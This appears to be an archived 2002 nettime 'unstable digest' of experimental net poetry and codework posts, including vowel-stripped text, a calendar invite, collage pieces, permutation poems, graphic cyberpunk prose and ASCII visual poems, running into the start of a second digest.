mIEKAL aND <dtv {AT} MWT.NET>\nSubject: TEASE: fashionable escape routine\n\nHTMLsnthdctnryMstppldntstdwnndthnk\nfwbdsgnsbsltdstnctnttsnThydntdwll\nnthtlsbywhchmnthlnggsthtgsthdtrs\nthbrwsrssbngmrmprtntthnthfnlffctWht\nthyrftrsthndrslt\n\nknwfnnwhgtspdsmplytsHTMLfrxmplnd\nntprdcrsltsNrdknwfnynwhhsvrgttn\nrsbcswhlthrprjctddntwrktlstthy\nsdsyntctcllycrrctcd\n\ncnslyshwHTMLcnbcnsdrdthsthngsyd\nnrdrtmkwbpgrstspcllyswrslvsr\ndmndngthtpplxpndthrknwldgfwbdsgng\nbymndtngthsfCSSfsmthngsnmyhtmldcmnt\nhwdknwtsntHTMLHwsfntsz1dffrntfrm\ndvstylfntszlrgrrllyThybthlklkHTML\ntm\n\n\n\n\nFrom: Mauri Kaipainen <mauri.kaipainen {AT} uiah.fi>\nDate: Thursday, September 12, 2002, 9:17:12 PM\nSubject: Update: Olga Goriunova\n\n\nBEGIN:VCALENDAR\nVERSION:2.0\nPRODID:-//Microsoft Corporation//Entourage Mac 10.0 MIMEDIR//EN\nMETHOD:REQUEST\nBEGIN:VTIMEZONE\nUID:B9A26707.407A009%x {AT} x.x\nX-ENTOURAGE-TZID:15\nTZID:Helsinki, Riga, Tallinn\nBEGIN:STANDARD\nDTSTART:20001029T040000\nRRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=10\nUID:B9A26707.407A009%x {AT} x.x\nTZNAME:Standard Time\nTZOFFSETTO:+0200\nTZOFFSETFROM:+0300\nEND:STANDARD\nBEGIN:DAYLIGHT\nDTSTART:20010325T030000\nRRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=3\nUID:B9A26707.407A009%x {AT} x.x\nTZNAME:Daylight Savings Time\nTZOFFSETTO:+0300\nTZOFFSETFROM:+0200\nEND:DAYLIGHT\nEND:VTIMEZONE\nBEGIN:VEVENT\nATTENDEE;ROLE=REQ-PARTICIPANT;RSVP=TRUE:MAILTO:og {AT} dxlab.org\nDESCRIPTION:Olga\\,\\n\\nI would choose Mon  16.9. at 14 from your menu.\n  OK?\\n\\n\\nMauri\nDTEND;TZID=\"Helsinki, Riga, Tallinn\":20020916T153000\nDTSTART;TZID=\"Helsinki, Riga, Tallinn\":20020916T140000\nSEQUENCE:1\nSUMMARY:Olga Goriunova\nUID:B9A4FEB9.45C8020%x {AT} x.x\nDTSTAMP:20020912T201700\nORGANIZER:MAILTO:mauri.kaipainen {AT} uiah.fi\nBEGIN:VALARM\nDESCRIPTION:REMINDER\nUID:B9A4FEBA.45C803F%x {AT} x.x\nTRIGGER;RELATED=START:-PT00H30M00S\nACTION:DISPLAY\nEND:VALARM\nEND:VEVENT\nEND:VCALENDAR\n \n\n\n\n\n\n\n\n\nDate:         Sat, 14 Sep 2002 15:59:18 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: nobbled RHOT( \"re-aligning\" )\n\nnobbled sprites detected\nCHLOROFOAM RHOTODENDRITE AISLE\nfu-lu of tao-shih> {{?integer_malfunct}}\nds.obl.ged\n---------------------------> {{?integer_malfunct}} ( \"re-aligning\" ) x\n(smell flustered html gut)---------------------------\n> {{?integer_malfunct}} -------------------------------------------------\n>hisorical actions recorded in temple 33\n\" Temple to temple 33 miles \"\n> ( \" strange days \" ) \"pipe days\"\n\" Riders must wear Snell-aproved helmets \"\ntu-kim-s-ob (they k$$d)\nluum (the l$$d)\n>\n                            > {{?integer_malfunct}}\n>(|{[sh]}|)<>(|{[sh]}|)<>               {{?integer_malfunct}}\n> {{?integer_malfunct}}                     >(|{[on]}|)<\n> {{?integer_malfunct}}                     >(|{[sh]}|)<\n> {{?integer_malfunct}}                     >(|{[an]}|)<\n> {{?integer_malfunct}}                     >(|{[sh]}|)< fu-lu\n+WHAT happens when a gurf plays a sneef?\n> {{?integer_malfunct}}                     >(|{[un]}|)<\n\" I pray this massive media feeding frenzy happens to me so that I ... \"\n> {{?integer_malfunct}}                     >(|{[...]}|)<\nkno-stick-comm-crete-poom> {{?integer_malfunct}}\n>(|{[?]}|)<\n> {{?integer_malfunct}}                     >(|{[varoom?]}|)<\nThe large, circular, elevated structure is the sleech pit or kinch. The wall\nis cobble built with a clay infill. In use, it was clay-lined and the floor\ncovered with reeds acting as a filter. Salt laden sand was gathered from the\nshore in a horse-drawn rake called a hap.\nThis material was known as sleech and was carried into the kinch and piled\nup. When full, fresh water - or possibly sea water - was sprinkled over this\nsleech. The strong salt solution would trickle down into the brine pit or\nlagoon (now a sunken garden). When the concentration was enough to float an\negg, the process stopped and the kinch cleaned out.\nThe brine was gently boiled in iron pans producing one draught per day (over\na third of a ton). The pans were about 9 feet by 8 feet and up to 8 feet\ndeep. The white of three eggs was introduced to the lukewarm brine to\nclear-up any silt as scum - and then removed.\n> {{?integer_malfunct}}                     >(|{[HI]}|)<\n> {{?integer_malfunct}}                     >(|{[ya]}|)<\n> {{?integer_malfunct}}                     >(|{[HE]}|)<\nfu-lu > {{?integer_malfunct}}                     >(|{[znala]}|)< shattered\nocarina bone\n> {{?integer_malfunct}} -------------------------------------------------\n> {{?integer_malfunct}} (smell flustered html gut) / ( \"re-al-lly? igning\"\n> )  <\n> {{?integer_malfunct}} a  she ings for me, ike a ark, ah ur ady of\n> >pre[bet]u[r]al [p]ark[ay] ong gout as ast of\n> >[not]her[bu][a]t[hoot-hoot]tery. fu-lu\n>2\n 2<\n> ( \" today i have been asked to be relevant \" )\nfemale conceptacle with oogonia\n2>\n <2\n> < wrapped in diosphida\nthe drifting cursor\n> >  x/ mnamii]/ } <   gfal /a|nu}}xd \"}dl /st\nfu-lu \" Associated with the release \"\n> {{?integer_malfunct}}  ------------------------------------------------\n> {{?integer_malfunct}}                      \" xN  |/\"\n> {{?integer_malfunct}}                      \" x R |/\"\nREM NOD\n> {{?integer_malfunct}}                      \" x  L|/\"\n> {{?integer_malfunct}}                      \" x C |/\"\n> {{?integer_malfunct}}                      \" x T |/\" fu-lu\n> {{?integer_malfunct}}                      \" xR S|/\"\n> {{?integer_malfunct}}                      \" x 0 |/\"\nnot another scurf, GRANDMA!\nfu-lu \" ... personally guilty of failure in keeping \" for a microwave indian\nmil\nworld 6:disregarding body-extremities-clouds over the maotainous provinces\nof\ngilan-sector closed in 5th sector- released a delicate perennial slave in\nwhich all\nthe best attributes are found-woven smoothly\nsaproleg\n> {{?integer_malfunct}}                      \" xZ  |/\"\n\" ... of surprise and exploration found ... \"\nfu-lu > {{?integer_malfunct}}                      \" x V |/\"\n\" The light coloured structures inside .. \"\n> {{?integer_malfunct}}                      \" xD  |/\"\n> {{?integer_malfunct}}                      \" x F |/\" fu-lu\nROM\n> {{?integer_malfunct}}                      \" xS T|/\"\n> {{?integer_malfunct}}                      \" xN  |/\" five pecks of rice\n> {{?integer_malfunct}}  ------------------------------------------------\n> {{?integer_malfunct}} } gfal /a|nu}}xd \"}dl /st  }     x/ mnamii]/ } fu-lu\n> >\n> > hammered pistils ionto its shulders and moved the shudder spped// cam\nnell ogo og\n> >it o0l sho0ld o0dd op to0 t00 howovor os i sconnood salt\n( \" Did you mean:saproling \" )\n> >tho colooms of nom zzzists tho moth implodod. colonist's nozzles\n> > ( \" and to make up a rationale \" )\n> RUM-SNORT\nfu-lu chromium 5:            s      l          o           p             e\nfu-lu     kraal of broken meat candles\nfu-lu Artifact. 1\ne wood-lie-K yore eye wood like any\nRgeoning student ov ZOE friendlyaaaah hearfu-lu\nSkyship Weatherlight 1\nMarie Antoinette Animatronic Zeppelin with transparent plexiglass faced\nviewing balcony\nee video lapels hear fu-lu\nssssette tape for sssoun\n Salt Lotus Guardian\n1 Rith's Attendant.\nd hear ist sum papers\nTalismans & Trojan Horses: Guardian Statues in Ancient Greek Myth & Ritual\nby Faraone, Christopher\n\" ... will have an opportunity to hear ...  \"\nhave escaped theefu-lu\nfu-lu Green. 1\nnsas there is sum\n\" ... If re thinkttending collearge urbaity, a smibearts\ncollegcialcollcomllege... \" yoind ed\nben mae ver\nnow i am in excr fu-lu\nps. lump / mule-butter\nIt was at about this time that Sleech Bichiwa discovered\nthe lump on the back of his neck. He'd had a battle with ...\n\" Your search - lump / mule-butter - did not match any documents. \"\nbut gurf-sheen ined along the sleech cao`\nyurm, u-growl in my hippy nap:\nat each one of these rainboough\nporridge centersfu-lu\n\"Lugawan ng Bayan\"\n\"Language in here to serve thought\"\nPLACE IN SALT MUSEUM\nlanguage in need of sandpaper\nfu-lu \" ... Hebridean Gold (4.3% ABV). Brewed with porridge oats and malt.\nOriginally\nonly available in bottled form, now available in cask due to demand. ... \"\n\nLenin's endocrine composition\nfu-lu\nor learnin is like eatin rice\n\n\n\n\nDate:         Fri, 20 Sep 2002 09:28:51 -0400\nFrom: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\nSubject: S nub d one\n\nS nub d one\n\nsnub hunk shad fen\nfine shade sunk knob\n\nshe blunt tub mawk\nmark tube lung shy\n\nfood gnat clug bint\nbunt loge knot mood\n\nsebo real port show\nsown pint roil segue\n\nfin shot hock stubble\nmumble lock clock spins\n\nhawk hub blue sheep\nheap crew sub balk\n\nbind clue natty foot\npoot fattly glue mind\n\nshock sort gazebo\nsleaze port sock\n\nheave clumb throne\nroan lumber eve\n\ntrawl slab sing\nsign lobe drawl\n\nblunk hiss tube\nlube sikh bump\n\nsped trounce mist\nmice pounce red\n\n\nJohn M. Bennett & Jim Leftwich  2002\n__________________________________________\nDr. John M. Bennett\nCurator, Avant Writing Collection\nRare Books & Manuscripts Library\nThe Ohio State University Libraries\n1858 Neil Av Mall\nColumbus, OH 43210 USA\n\n(614) 292-8114\nbennett.23 {AT} osu.edu\n___________________________________________\n\n\n\n\nDate: Tue, 17 Sep 2002 23:49:58 -0400\nFrom: guide <guide {AT} life.a-domesticguide.com>\nTo: nettime-l <nettime-l {AT} bbs.thing.net>\nSubject: life.a-domesticguide;$monday+2\n\n\n\n#######\nlife.a-domesticguide   or, a concatenated practice of living\n==\nhttp://life.a-domesticguide.com\n#######\n\n\nwhat goodness hath wrought\n      what badness hath wrought\n          what attitude hath wrought\n              what latitude hath wrought\n                  what nature hath wrought\n                      what day hath wrought\n                          what domestication hath wrought\n\n\n& that which is to the pleasure of eyes\n      & that which is to the pleasure of ears\n          & that which is to the pleasure of cerebrum\n\n$\nmonday +2\n$\n\n\n\n\n\n\n\nDate: Sat, 21 Sep 2002 01:35:43 +0900\nFrom: Kenji Siratori <white-b {AT} d4.dion.ne.jp>\nSubject: Re: Hi - need texts!\n\nRAV {AT} borg\nKenji Siratori\n\n\n[Level0]\n[the parasite=bodies of cold-blooded disease animals of artificial sun to\nthe vital reaction that exploded clone-dive....our picture-gene....cruel\nbody inside of SODOM dashes.  Symbolic nude>>be ill-treated to the internal\norgan consciousness of a dog and noise....] raise [volume!--]\n[modification mode].\nThe acoustic device of lonely masses of flesh is break down--our brain rapes\nthe vital icon that was input geometrical hatred.  The crazy machine=angel\nof script=several yourself of suicide like....I invade....the random\ninternal organ consciousness of a dog is reset and escape.  With\nparasite=MHz that artificial sun....body_omotya made enlarged....++the\nhearing of myself contacts the DIGITAL=bad mark of the cold-blooded disease\nanimals that was done_scribe to the cable of the coil=heart, plain murder\ncircuit, brain weather=machine=angel of boy_roid that dashes....\"continent\nof a dog strips--gene=TV is secreted--\" the machine=angel who mutated to\n[the brain of myself concatenates....I suck the atmosphere, the control\nexternal that reset/proliferate to the murder circuit of the artificial\nsun]....\nNude VTR.\n....of the masses of flesh {AT} scream that link to hyperreal internal organ\nconsciousness_quiesces....the replication channel of ecstasy.  To the brain\nof a dog the existence=modes of the storage....homosexual mankind of the\nair-lines that was done is broken hacking that releases <<speed>> and invade\nin pill form mars of adrenalin.\nThe ganglion of desire be rendered the emotion of yourself be reset to the\nsoftware that fear=cell was supposed so like the vital icon_junk....only\nthat enumerate control external masses of flesh to the inorganic substance\nmurder system of boy_roid.  TOKAGE of emotional=anal of soul/grams.\nNanonoid of the brain of myself that communicates to the planet of\nFUCKNAM....!  I invade the reaction-speed of chemical masses of flesh>>the\npsite soul/gram_synchro- to the respiratory organs that abolished nude\nmachine=angel fucker plug-in. that was punctured is measured the brain of a\ndog with clone MHz of vital-anal.  ....murdering the childish mode of the\nmutant that collides with the drug=site of ToKAGE the machinary emotion of\nthe dog of myself resuscitates.  <<a grotesque eyeball=script to the spiral\nform  vamp.... The rape function of gene=TV.\nIt beats the streaming=cruel device of masses of flesh....the script\nvaio-node that invades the waste material medium that dismantles self.\n....I reproduce our hyperreal replication=love 01 in the pupil of the dog\nthat filled to the city=circuit of cadaver-feti so.\n<<expands to the existence=channel of the kama-guy....>>\nTo the murder region of wolf=space the hydro=mania_functions.\n:asphalt_inoculated--clone-dive to the internal organ consciousness of the\ninsanity--dog that artificial sun dashes.  The crime technology of the body\nof yourself_converges//the soul/gram of a dog junk.  The brain of yourself\nthat beats is dismantled \"the wolf=space of the....technocrisis that holds\nthe boundless wild fancy of the artificial sun and weaken to catastroph of\nboy_roid.  And the abolition cable of a vital=plug the emotional script like\nthe dog of myself, that inputs the body of ToKAGE operated....with acid=VTR\nof the machine=angel that forgot condom love!\n\"the living body without the level of yourself_plug....SWASTIKA of\nsleep=of=the code.  The joint area which the cadaver city where gene=TV\nstreams hydromachine of the scream grow thick.  I murder control external\nmasses of flesh righteously\" \"a cold-blooded disease....\"\n\"the brain cell of a dog explodes to asphalt.  I suck the continent-device\nof the internal organ consciousness that coexisted....\"....a nude vital=plug\nis replicated to the internal organ consciousness that asphalt awoke.  The\neyeball of yourself that does_vagus in the cadaver city the breakdown of the\nbrain of earthworm::so that it was jointed in the rape state to the\nartificial sun was controlled-inhabits to the body circuit of the\nhydro=mania that lost cable....a suspected vital parameter.  [[we are\nparasitic on the suicide circuit of boy_roid....becomes a noisy pig so....\nOutput by a thinking impossible miracle.  The existence of the random\nnumber.\nThe brain of the dog is committed.  The body=scanner.  ....boy_roid that\njoints to the artificial sun dashes of masses of flesh suicide circuit that\nhung up.  The immortality cycle of the latency_cadaver city.... Replicating\nthe picture-group that gene=TV was hyper-controlled to the crazy nervous\nsystem of the vagina discharge....techno-junkie of an ant I rape the masses\nof flesh of function deficiency among in the internal organ level which the\ndrug embryo exploded....the waste material sickness of yourself.  \"....the\noriginal body of ToKAGE to the hyper-link=stratosphere of the drugy\nartificial sun_switch so.  Continent of where soul/gram discharges in the\ncity where degraded....\" the medium=fuck.  Severance.  ....the plug of a\ncadaver does the worldly desires.  Latent in the channel state----fills to\nthe body fluid of a dog....the mimicry of the hydro=mania.  Artificial sun\nis latent, on the technocrisis plane of body_omotya where it was recorded by\nthe fear=cell that fellow etc. murder the mass of flesh that was\nstreamed....++\"\nThe drug embryo conquers with the eyeball mode that got deranged....\n\"masses of flesh function....restrain the dash sense of the\nscript=larva....desire in the atrocious future that accelerates to the\ninternal organ consciousness of a dog cruelly!  Love fuck!....being covered\nthe mass of flesh of boy_roid that analyzes the vital ecstasy that mutated\nto <<plug>> I disappear to the that brain universe.  Operate the\nwomb=language!  All the cancellation--<declines> that were hyper-controlled\nby the zero=picture group of the drug embryo.\n*our microseism....pupil of the world that was jointed to adrenalin does\ntechnocrisis wolf=space cranch.  The narcotic body of gene=TV imprisoned\n\"body_omotya of myself to the rave circuit of a vital icon to the transfer\ncircuit that cadaver city was isolated....<<the murderous intention that\nmyself accelerated_mode>>--I trace the cadaver city of upside-down with high\nspeed feti.  Self is replicated....the rape scene in the era of the picture\nthat respires the artificial sun of boy_roid to the TOKAGE=region of the\nsoul/gram that was notified by the waste material thinking of the digestive\nfluid--as if I reproduce.  It exists--a certain kind of drugy passage point\nof the suspected vital body of yourself.\n--the genome=rotor of ToKAGE.  The functional murder of the soul/gram that\nwas done junk to the chemical mass of flesh cable of an ant LOAD....\nAccelerate the murder vector of the artificial sun:a vital plug that NDRO of\ndeath hyper-links to road that lost!  Like the nervous system that was\njointed sexually the homosexual....our VTR suck the mass of flesh of a\ncold-blooded disease.\n----\nPicture fucker of gene=TV] being covered general body fluid that\ntechno-junkie does the worldly desires to the cable of the cadaver city.\nThe rhythm of a larva is discharged to the spermatozoon circuit that\nweakened.  Despair machine of which dashes to the body of the gay....>>to\ncontrol external that accelerates the party=device of the drug embryo\nconfusedly the mass of flesh mode that contaminated....the hydro=mania who\nbounces be the ill-treatment medium that artificial sun inhabits to the\ninternal organ consciousness of the dog that committed suicide\nbody=derangement, of the asphalt that notifies it. _joints to the brain\nuniverse=plug....confused body system of ToKAGE that respired the nightmare\nof the cyber nature of boy_roid to the hybrid era....\n\nLOAD.  Our plain heart....brain cell is trodden down to road of the dog that\nrevealed the technocrisis....I murder the inhabitant system of the eyeball\nin the infection area of the fear=cell.  It springs.  The hunting for the\ngrotesque territory of the human body hacking.... The electron state=pill.\nEveryone inoculated the screen--the animal decay map of artificial\nintelligence.  It accelerates in a vital=condom the nerve fiber of myself\nburn up....did the cadaver city_digital=vamp \"so....drug embryo of accurate\nmalice by\"=the sex-rebellion medium of the vital=plug that was close to the\nhearing of myself.... eleven of----\n\"like the heart without the modem that was dismantled by the brain of a pig\"\n\"it respires=expand the internal organ of yourself to the <it was cultured\npurely> cyber map of the technocrisis....\" the balloon of the mass of flesh.\nThe body of the rape streaming....drug embryo of the soul/gram that joints\nto the hydro=mania of a dog contracts.  To sudden discharge cable....control\nexternal of the city that the cadaver of the replicant secretes to the head\nline of the girl that was done fuck so like the chromosome that does <<high\nspeed>> rave.  ....the abolition function that boy_roid accelerates the nude\npicture that sucks a nude picture.  It bounces with a grotesque look....is\ncommitted to \"the murderous picture of an ant--\"\n\"our body_omotya!-with 0 mg of brain that was jointed in the cadaver\ncity....\" \"resuscitate=the centipede=boy\"\nThe escape impossible cable of body_omotya does rave in the high speed area\nof myself!  Stimulating the cold-blooded disease of the\nparasite=picture....artificial sun of the cadaver city I abolish the body\nfunction of nude input--myself.  The speed of a dog.  The malice that\nannihilates....boy_roid that was jointed to the external control of gene=TV\ndoes to direct suck=blood [so--elasticity with like the eyeball-node of the\nwaste material inclination of wolf=space....a gel form womb area machine.  A\nthinking impossible input area reality--and body-tube_digital=vamp of\nboy_roid explodes....over there the vital reaction of <scanner that\nosmoses>....hangs up:the ecstasy that boy_roid of brain cell=asphalt was\nsucked.  The dog of road_fuck//the storage of murder simulates the parasite\ncruel medium of the artificial sun....nude planetary....:the escape of\nmasses of flesh impossible_synchronizes alone).\n[I am murdered....the sun the thinking of myself bouncing artificial to the\nbody of the technocrisis to the brain of the dog that joints in the\ncontinent of a dog outputs the vital=plug that went mad//....the artificial\nsun of the hydro=mania that inhabits to the hyperreal respiratory organs of\na dog so switch.  The lonely brain....joints....the masses of flesh that are\nsplit and screw the awakening of soul/gram that sprang to medium=drive that\nwas imprisoned.  The sensor highway of myself the machine=angel of an ant\ndisappears.\nLOAD with crazy head....\n>>the digital=vamp brain cell, the plentiful fear of myself that do to the\nbody fluid of a dog LOAD stream in the vagina opening department of the\ncity.... To the boys of the hydro=manias who accomplished direct joint to\nthe air gun....the pure white world respires era....the existence line of\nthe artificial sun that thinks about........>>the internal organ\nconsciousness that cold-blooded disease animals hyper-linked so is turned\nover be murdered....the nude raw=modem of the cadaver city that is jointed\nto the synthesis war of masses of flesh:the homosexual device of boy_roid\nand stream the block of the scream.  The derangement cock.... The rape=beat\nof picture group--yourself of gene=TV that bites off the tongue!  The lapse\nof memory of yourself that does the head line of Level 0 of the wolf=space\nthat resuscitates to digital junk>>the storage element of the machine=angel\nthat I was murdered is opened to the crimson eyes of the hatred....synapses\nof the body fluid that quantified to the heart of ToKAGE suck=blood....\n....:bounces like the brain cell of boy_roid that I suck to the noisy\nexistence of body_omotya that does clone-dive to the escape screen....masses\nof flesh of....the mobile body fiber of disgrace territory....>>yourself\ndoes 1 mg of brain of a dog_digital=vamp.  It inputs to road that links to\nthe software of the bare feet and the cadaver city weakened:\"a signal---\nIt accelerates.  The vital icon of myself that weakened.... The volume of a\nhomosexual mass of flesh to the streaming=dogs of the scream which we\nexpanded the beat-region of the brain....cadaver city that absorbs and flow.\nI awake---\n\n\n\n\n\n\nSubject: Re: so much aleatorious words in so many mails\nDate: Fri, 20 Sep 2002 13:51:59 +0200 (MEST)\nFrom: \"=?ISO-8859-1?Q?astr=EBe_galbia?=tta .vnatrc.net.\" <astreegalbiatta {AT} vnatrc.net>\n\nEn r\u0449ponse \u0440 august highland <hmfah3 {AT} hotmail.com>:\n\nnot especially for this one,\n\ngot a soft to do all this...?\n\nwhat a fatigue... huh...no?\n\n> adrian (viper) ross\n> serial pulse-code telemetry001...[excerpt]\n> www.inkbombdisposalunit.com\n> \n[...]\n\n\n\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\n    mais    \n            \nveux tu mais \n            \n    veux    \n____________\n\ng.n.a.p.b.l.\n.vnatrc.net/\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\n\n\n\n\nnettime unstable digest vol 13\nSat Sep 21 11:10:20 2002\n\n\nSubject: Re: teddy warburg\n    From: =?ISO-8859-1?Q?=A4?= <mi_ga {AT} o-o.lt>\n\nSubject: then and now kIlL\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: TEASE: fashionable escape routine\n    From: mIEKAL aND <dtv {AT} MWT.NET>\n\nSubject: Update: Olga Goriunova\n    From: Mauri Kaipainen <mauri.kaipainen {AT} uiah.fi>\n\nSubject: nobbled RHOT( \"re-aligning\" )\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n\nSubject: S nub d one\n    From: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\n\nSubject: life.a-domesticguide;$monday+2\n    From: guide <guide {AT} life.a-domesticguide.com>\n\nSubject: Re: Hi - need texts!\n    From: Kenji Siratori <white-b {AT} d4.dion.ne.jp>\n\nSubject: Re: so much aleatorious words in so many mails\n    From: \"=?ISO-8859-1?Q?astr=EBe_galbia?=tta .vnatrc.net.\" <astreegalbiatta {AT} vnatrc.net>\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    _arc.hive_ eu-gene o-o rohrpost webartery wryting \nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nalan sondheim <sondheim {AT} panix.com>\n    trAce wryting \n$Id: digestunstable.pl,v 1.10 2002/09/21 09:05:08 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 21 Sep 2002 20:44:34 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200209220101.g8M119v29533 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0209/msg00103.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 13"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00035",
                "content": "\n\nDate:         Wed, 4 Sep 2002 05:52:24 -0700\nFrom: lewis lacook <llacook {AT} YAHOO.COM>\nSubject: LACAN AND CALCULUS\n\n\n\ndaddy     where     do    words    come     from\n     v  b      t   o    M       A         c\n    o    r    o     v    E       N       l\n   i (o)  i  n       u    N  (o)  G     o\n    c    d  g   (0)    l   T       U   s     ()0\n     e  g     u       a     A        I  u\n       e         e  t         L        S  r\n                                         H e\nor        living       trellis      circuit      heals\n     c              r            b           m\n     o              o            o           o\n     d      o0o     m            r   IlI     t\n     e      0o0     a            e   lIl     h\n     d      o0o     n            d   IlI     e\n            0o0     c    o  a    o   1I1     r\n                    e   r    n   m\n                               d\n               d\n             e                    t\n           a                       r\n          t        spaces           e\n          h                        e\n                                  s\n\n\n\n\nDate:         Fri, 6 Sep 2002 04:41:38 -0700\nFrom: august highland <hmfah {AT} HOTMAIL.COM>\nSubject: just for fun\n\nWelcome\nNo save:args 141 is unimplemented stack empty 145 is unimplemented stack\nempty 141 is unimplemented 162 is unimplemented 147 is unimplemented\nsave:args input base is too large save:args 165 is unimplemented 156 is\nunimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is unimplemented\n145 is unimplemented 141 is unimplemented stack empty 145 is unimplemented\n155 is unimplemented empty stack 164 is unimplemented 171 is unimplemented\ninput base is too large save:args 165 is unimplemented 156 is unimplemented\nstack empty 155 is unimplemented empty stack 155 is unimplemented 145 is\nunimplemented 156 is unimplemented 164 is unimplemented 145 is unimplemented\n141 is unimplemented stack empty 145 is unimplemented 155 is unimplemented\nempty stack 164 is unimplemented 171 is unimplemented input base is too\nlarge save:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented 145 is\nunimplemented stack empty 162 is unimplemented 147 is unimplemented\nsave:args stack empty 156 is unimplemented empty stack 165 is unimplemented\n164 is unimplemented 142 is unimplemented 141 is unimplemented save:args 145\nis unimplemented stack empty save:args 164 is unimplemented stack empty\nstack empty 162 is unimplemented 147 is unimplemented 145 is unimplemented\nstack empty 145 is unimplemented stack empty 141 is unimplemented 162 is\nunimplemented 147 is unimplemented save:args input base is too large\nsave:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented 141 is\nunimplemented stack empty 145 is unimplemented 155 is unimplemented empty\nstack 164 is unimplemented 171 is unimplemented input base is too large\nsave:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented 145 is unimplemented\n155 is unimplemented 0 164 is unimplemented 171 is unimplemented 141 is\nunimplemented stack empty input base is too large save:args 165 is\nunimplemented 156 is unimplemented stack empty 155 is unimplemented empty\nstack 155 is unimplemented 145 is unimplemented 156 is unimplemented 164 is\nunimplemented 145 is unimplemented input base is too large 165 is\nunimplemented 156 is unimplemented input base is too small 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented 141 is\nunimplemented stack empty 145 is unimplemented 155 is unimplemented empty\nstack 164 is unimplemented 171 is unimplemented input base is too large\nsave:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented 145 is\nunimplemented 155 is unimplemented 0 164 is unimplemented 171 is\nunimplemented 141 is unimplemented stack empty input base is too large\nsave:args 165 is unimplemented 156 is unimplemented stack empty 155 is\nunimplemented empty stack 155 is unimplemented 145 is unimplemented 156 is\nunimplemented 164 is unimplemented 145 is unimplemented input base is too\nlarge 165 is unimplemented 156 is unimplemented input base is too small 155\nis unimplemented empty stack 155 is unimplemented 145 is unimplemented 156\nis unimplemented 164 is unimplemented 145 is unimplemented input base is too\nsmall 156 is unimplemented 0 165 is unimplemented 164 is unimplemented 142\nis unimplemented 141 is unimplemented stack empty save:args 164 is\nunimplemented stack empty stack empty 162 is unimplemented 147 is\nunimplemented 145 is unimplemented stack empty 145 is unimplemented stack\nempty 141 is unimplemented 162 is unimplemented 147 is unimplemented\nsave:args input base is too large save:args 165 is unimplemented 156 is\nunimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is unimplemented\n145 is unimplemented input base is too large 165 is unimplemented 156 is\nunimplemented input base is too small 155 is unimplemented empty stack 155\nis unimplemented 145 is unimplemented 156 is unimplemented 164 is\nunimplemented 145 is unimplemented 141 is unimplemented stack empty 145 is\nunimplemented 155 is unimplemented empty stack 164 is unimplemented 171 is\nunimplemented input base is too large save:args 165 is unimplemented 156 is\nunimplemented stack empty 155 is unimplemented empty stack 155 is\nunimplemented 145 is unimplemented 156 is unimplemented 164 is 